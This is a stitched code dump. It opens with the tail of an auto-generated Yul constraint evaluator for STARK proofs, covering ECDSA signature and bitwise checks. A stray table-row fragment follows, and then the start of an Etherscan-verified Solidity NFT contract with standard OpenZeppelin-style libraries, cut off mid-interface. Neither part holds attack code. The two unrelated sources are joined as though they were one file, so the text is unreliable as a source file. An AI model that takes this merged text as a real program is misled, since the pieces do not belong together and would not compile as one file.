val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[108].
res := addmod(res,
mulmod(val, /*coefficients[108]*/ mload(0x12c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/y: column6_row16357 + column6_row8214 - column6_row16341 * (column6_row16325 - column6_row8198).
let val := addmod(
addmod(/*column6_row16357*/ mload(0x2a40), /*column6_row8214*/ mload(0x29a0), PRIME),
sub(
PRIME,
mulmod(
/*column6_row16341*/ mload(0x2a00),
addmod(
/*column6_row16325*/ mload(0x29c0),
sub(PRIME, /*column6_row8198*/ mload(0x2980)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[109].
res := addmod(res,
mulmod(val, /*coefficients[109]*/ mload(0x12e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/add_results/x_diff_inv: column6_row16333 * (column6_row16325 - column6_row8190) - 1.
let val := addmod(
mulmod(
/*column6_row16333*/ mload(0x29e0),
addmod(
/*column6_row16325*/ mload(0x29c0),
sub(PRIME, /*column6_row8190*/ mload(0x2960)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[110].
res := addmod(res,
mulmod(val, /*coefficients[110]*/ mload(0x1300), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/slope: column6_row16353 + ecdsa/sig_config.shift_point.y - column6_row8177 * (column6_row16382 - ecdsa/sig_config.shift_point.x).
let val := addmod(
addmod(
/*column6_row16353*/ mload(0x2a20),
/*ecdsa/sig_config.shift_point.y*/ mload(0x3c0),
PRIME),
sub(
PRIME,
mulmod(
/*column6_row8177*/ mload(0x2920),
addmod(
/*column6_row16382*/ mload(0x2aa0),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[111].
res := addmod(res,
mulmod(val, /*coefficients[111]*/ mload(0x1320), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/x: column6_row8177 * column6_row8177 - (column6_row16382 + ecdsa/sig_config.shift_point.x + column6_row9).
let val := addmod(
mulmod(/*column6_row8177*/ mload(0x2920), /*column6_row8177*/ mload(0x2920), PRIME),
sub(
PRIME,
addmod(
addmod(
/*column6_row16382*/ mload(0x2aa0),
/*ecdsa/sig_config.shift_point.x*/ mload(0x3a0),
PRIME),
/*column6_row9*/ mload(0x2600),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[112].
res := addmod(res,
mulmod(val, /*coefficients[112]*/ mload(0x1340), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/extract_r/x_diff_inv: column6_row16369 * (column6_row16382 - ecdsa/sig_config.shift_point.x) - 1.
let val := addmod(
mulmod(
/*column6_row16369*/ mload(0x2a60),
addmod(
/*column6_row16382*/ mload(0x2aa0),
sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x3a0)),
PRIME),
PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[113].
res := addmod(res,
mulmod(val, /*coefficients[113]*/ mload(0x1360), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/z_nonzero: column6_row53 * column6_row8185 - 1.
let val := addmod(
mulmod(/*column6_row53*/ mload(0x2820), /*column6_row8185*/ mload(0x2940), PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[114].
res := addmod(res,
mulmod(val, /*coefficients[114]*/ mload(0x1380), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/r_and_w_nonzero: column6_row9 * column6_row8174 - 1.
let val := addmod(
mulmod(/*column6_row9*/ mload(0x2600), /*column6_row8174*/ mload(0x2900), PRIME),
sub(PRIME, 1),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8192) - 1.
// val *= denominator_invs[23].
val := mulmod(val, mload(0x3880), PRIME)
// res += val * coefficients[115].
res := addmod(res,
mulmod(val, /*coefficients[115]*/ mload(0x13a0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/q_on_curve/x_squared: column6_row16377 - column6_row6 * column6_row6.
let val := addmod(
/*column6_row16377*/ mload(0x2a80),
sub(
PRIME,
mulmod(/*column6_row6*/ mload(0x25c0), /*column6_row6*/ mload(0x25c0), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[116].
res := addmod(res,
mulmod(val, /*coefficients[116]*/ mload(0x13c0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/signature0/q_on_curve/on_curve: column6_row22 * column6_row22 - (column6_row6 * column6_row16377 + ecdsa/sig_config.alpha * column6_row6 + ecdsa/sig_config.beta).
let val := addmod(
mulmod(/*column6_row22*/ mload(0x2700), /*column6_row22*/ mload(0x2700), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(/*column6_row6*/ mload(0x25c0), /*column6_row16377*/ mload(0x2a80), PRIME),
mulmod(/*ecdsa/sig_config.alpha*/ mload(0x380), /*column6_row6*/ mload(0x25c0), PRIME),
PRIME),
/*ecdsa/sig_config.beta*/ mload(0x3e0),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[117].
res := addmod(res,
mulmod(val, /*coefficients[117]*/ mload(0x13e0), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/init_addr: column3_row3082 - initial_ecdsa_addr.
let val := addmod(
/*column3_row3082*/ mload(0x1fc0),
sub(PRIME, /*initial_ecdsa_addr*/ mload(0x400)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[118].
res := addmod(res,
mulmod(val, /*coefficients[118]*/ mload(0x1400), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/message_addr: column3_row11274 - (column3_row3082 + 1).
let val := addmod(
/*column3_row11274*/ mload(0x2020),
sub(PRIME, addmod(/*column3_row3082*/ mload(0x1fc0), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[119].
res := addmod(res,
mulmod(val, /*coefficients[119]*/ mload(0x1420), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/pubkey_addr: column3_row19466 - (column3_row11274 + 1).
let val := addmod(
/*column3_row19466*/ mload(0x2060),
sub(PRIME, addmod(/*column3_row11274*/ mload(0x2020), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(16384 * (trace_length / 16384 - 1)).
// val *= numerators[11].
val := mulmod(val, mload(0x3d40), PRIME)
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[120].
res := addmod(res,
mulmod(val, /*coefficients[120]*/ mload(0x1440), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/message_value0: column3_row11275 - column6_row53.
let val := addmod(
/*column3_row11275*/ mload(0x2040),
sub(PRIME, /*column6_row53*/ mload(0x2820)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[121].
res := addmod(res,
mulmod(val, /*coefficients[121]*/ mload(0x1460), PRIME),
PRIME)
}
{
// Constraint expression for ecdsa/pubkey_value0: column3_row3083 - column6_row6.
let val := addmod(
/*column3_row3083*/ mload(0x1fe0),
sub(PRIME, /*column6_row6*/ mload(0x25c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16384) - 1.
// val *= denominator_invs[22].
val := mulmod(val, mload(0x3860), PRIME)
// res += val * coefficients[122].
res := addmod(res,
mulmod(val, /*coefficients[122]*/ mload(0x1480), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/init_var_pool_addr: column3_row26 - initial_bitwise_addr.
let val := addmod(
/*column3_row26*/ mload(0x1dc0),
sub(PRIME, /*initial_bitwise_addr*/ mload(0x420)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[123].
res := addmod(res,
mulmod(val, /*coefficients[123]*/ mload(0x14a0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/step_var_pool_addr: column3_row58 - (column3_row26 + 1).
let val := addmod(
/*column3_row58*/ mload(0x1e40),
sub(PRIME, addmod(/*column3_row26*/ mload(0x1dc0), 1, PRIME)),
PRIME)
// Numerator: point^(trace_length / 128) - trace_generator^(3 * trace_length / 4).
// val *= numerators[12].
val := mulmod(val, mload(0x3d60), PRIME)
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[124].
res := addmod(res,
mulmod(val, /*coefficients[124]*/ mload(0x14c0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/x_or_y_addr: column3_row42 - (column3_row122 + 1).
let val := addmod(
/*column3_row42*/ mload(0x1e00),
sub(PRIME, addmod(/*column3_row122*/ mload(0x1ec0), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[125].
res := addmod(res,
mulmod(val, /*coefficients[125]*/ mload(0x14e0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/next_var_pool_addr: column3_row154 - (column3_row42 + 1).
let val := addmod(
/*column3_row154*/ mload(0x1f00),
sub(PRIME, addmod(/*column3_row42*/ mload(0x1e00), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)).
// val *= numerators[8].
val := mulmod(val, mload(0x3ce0), PRIME)
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[126].
res := addmod(res,
mulmod(val, /*coefficients[126]*/ mload(0x1500), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/partition: bitwise__sum_var_0_0 + bitwise__sum_var_8_0 - column3_row27.
let val := addmod(
addmod(
/*intermediate_value/bitwise/sum_var_0_0*/ mload(0x3060),
/*intermediate_value/bitwise/sum_var_8_0*/ mload(0x3080),
PRIME),
sub(PRIME, /*column3_row27*/ mload(0x1de0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[127].
res := addmod(res,
mulmod(val, /*coefficients[127]*/ mload(0x1520), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/or_is_and_plus_xor: column3_row43 - (column3_row91 + column3_row123).
let val := addmod(
/*column3_row43*/ mload(0x1e20),
sub(
PRIME,
addmod(/*column3_row91*/ mload(0x1ea0), /*column3_row123*/ mload(0x1ee0), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[128].
res := addmod(res,
mulmod(val, /*coefficients[128]*/ mload(0x1540), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/addition_is_xor_with_and: column1_row0 + column1_row32 - (column1_row96 + column1_row64 + column1_row64).
let val := addmod(
addmod(/*column1_row0*/ mload(0x1800), /*column1_row32*/ mload(0x1a20), PRIME),
sub(
PRIME,
addmod(
addmod(/*column1_row96*/ mload(0x1b20), /*column1_row64*/ mload(0x1a60), PRIME),
/*column1_row64*/ mload(0x1a60),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: (point^(trace_length / 128) - 1) * (point^(trace_length / 128) - trace_generator^(trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 8)) * (point^(trace_length / 128) - trace_generator^(9 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(11 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(13 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(15 * trace_length / 64)).
// val *= denominator_invs[24].
val := mulmod(val, mload(0x38a0), PRIME)
// res += val * coefficients[129].
res := addmod(res,
mulmod(val, /*coefficients[129]*/ mload(0x1560), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking192: (column1_row88 + column1_row120) * 16 - column1_row1.
let val := addmod(
mulmod(
addmod(/*column1_row88*/ mload(0x1aa0), /*column1_row120*/ mload(0x1b60), PRIME),
16,
PRIME),
sub(PRIME, /*column1_row1*/ mload(0x1820)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[130].
res := addmod(res,
mulmod(val, /*coefficients[130]*/ mload(0x1580), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking193: (column1_row90 + column1_row122) * 16 - column1_row65.
let val := addmod(
mulmod(
addmod(/*column1_row90*/ mload(0x1ac0), /*column1_row122*/ mload(0x1b80), PRIME),
16,
PRIME),
sub(PRIME, /*column1_row65*/ mload(0x1a80)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[131].
res := addmod(res,
mulmod(val, /*coefficients[131]*/ mload(0x15a0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking194: (column1_row92 + column1_row124) * 16 - column1_row33.
let val := addmod(
mulmod(
addmod(/*column1_row92*/ mload(0x1ae0), /*column1_row124*/ mload(0x1ba0), PRIME),
16,
PRIME),
sub(PRIME, /*column1_row33*/ mload(0x1a40)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[132].
res := addmod(res,
mulmod(val, /*coefficients[132]*/ mload(0x15c0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking195: (column1_row94 + column1_row126) * 256 - column1_row97.
let val := addmod(
mulmod(
addmod(/*column1_row94*/ mload(0x1b00), /*column1_row126*/ mload(0x1bc0), PRIME),
256,
PRIME),
sub(PRIME, /*column1_row97*/ mload(0x1b40)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[133].
res := addmod(res,
mulmod(val, /*coefficients[133]*/ mload(0x15e0), PRIME),
PRIME)
}
mstore(0, res)
return(0, 0x20)
}
}
}
}
// ---------- End of auto-generated code. ---------- | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-11-20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//Developer Info NFTDevs.io
//Written by Blockchainguy.net
//Email: [email protected]
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
